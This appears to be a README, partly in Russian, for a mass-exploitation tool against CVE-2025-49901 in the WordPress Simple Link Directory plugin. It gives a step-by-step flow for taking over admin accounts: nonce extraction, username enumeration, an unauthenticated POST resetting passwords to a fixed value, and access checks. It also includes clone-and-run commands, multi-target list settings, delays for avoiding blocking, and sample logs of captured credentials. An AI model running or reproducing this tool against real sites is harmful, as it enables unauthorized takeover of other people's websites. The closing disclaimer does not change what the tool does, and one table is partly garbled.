
Плагин Simple Link Directory для WordPress версии < 14.8.1 уязвим к нарушению аутентификации высокого приоритета.
WordPress Simple Link Directory Plugin < 14.8.1 уязвим к критическому обходу аутентификации
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2025-49901 · Simple Link Directory · qc-opd ║
║ Authentication Bypass → Password Reset → RCE ║
╚═══════════════════════════════════════════════════════════════════╝
Форма сброса пароля qc-opd, отображаемая на страницах SLD, принимает имя пользователя и новый пароль без проверки личности пользователя через какой-либо токен, подтверждение по электронной почте или проверку прав. Неаутентифицированный злоумышленник может перебрать имена пользователей WordPress, отправить форму сброса для любой учётной записи и сразу же аутентифицироваться с внедрённым паролем — получив доступ администратора без какого-либо взаимодействия с целевым пользователем.
┌─────────────────────────────────────────────────────────┐
│ 1. Locate SLD reset page │
│ Probe 28+ paths → match: "sld" + "_wpnonce" + form │
│ │
│ 2. Extract nonce │
│ Parse _wpnonce from HTML / JS / qc-opd-nonce │
│ │
│ 3. Enumerate usernames │
│ /?author=1..10 + /wp-json/wp/v2/users + hostname │
│ │
│ 4. Reset password for each username │
│ POST qc-restore-pwd=restore │
│ qc-uid=<username> │
│ pass=newhackerpass123 │
│ _wpnonce=<nonce> │
│ │
│ 5. Verify access (dual mode) │
│ Session mode → cookie check + /wp-admin/ probes │
│ Password mode → wp-login.php + admin panel check │
│ │
│ 6. Write confirmed hits → scan_results/reset_mass_success.txt │
└─────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3
python3 CVE-2025-49901.py
requirements.txt
requests>=2.28.0
colorama>=0.4.6
urllib3>=1.26.0
Файл со списком целей → list.txt (один хост на строку)
Потоков → по умолчанию 5
Тайм-аут HTTP → по умолчанию 10 с
Задержка на пользователя MIN/MAX → защита от блокировки (по умолчанию 0,3 / 0,7 с)
Задержка между сайтами → по умолчанию 1,0 с
Выходной файл → scan_results/reset_mass_success.txt
Формат целей:
https://target1.com
target2.com
http://target3.com/wordpress
Фиксированный пароль, внедряемый для всех сбросов:
newhackerpass123
| Метод | Конечная точка |
|---|---|
| Перенаправление автора | → |
После каждой попытки сброса инструмент проверяет доступ с помощью двух независимых методов:
Режим сессии → проверка cookie wordpress_logged_in + индикаторы /wp-admin/
Режим пароля → полный POST на wp-login.php + проверка панели администратора по нескольким путям
Проверяемые индикаторы администратора:
id="adminmenu" · id="wpadminbar" · id="wpwrap"
users.php · plugins.php · plugin-install-tab · upload-plugin
[HH:MM:SS] [https://target.com] NONCE: OK | RESET: OK | ACCESS: 1 HIT
[HH:MM:SS] [https://target2.com] NONCE: FAIL | RESET: - | ACCESS: 0 HIT
scan_results/reset_mass_success.txt
[2025-06-01T14:22:10] https://target.com - account=admin pass=newhackerpass123 mode=password
[2025-06-01T14:22:18] https://target.com - account=editor pass=newhackerpass123 mode=session
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Simple Link Directory < 14.8.1 · Исправлено в 14.8.1
| CVE | CVE-2025-49901 |
| CVSS | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Плагин | quantumcloud Simple Link Directory (qc-simple-link-directory) |
| Затронутые версии | Все версии < 14.8.1 |
| Аутентификация | Не требуется |
| Тип | Обход аутентификации через альтернативный путь (CWE-288) |
| CWE | CWE-288 · Authentication Bypass Using an Alternate Path or Channel |
/?author=1/?author=10| REST API | /wp-json/wp/v2/users |
| Имя хоста | Первая метка домена как запасной вариант |
| Жёстко задано | admin всегда включено |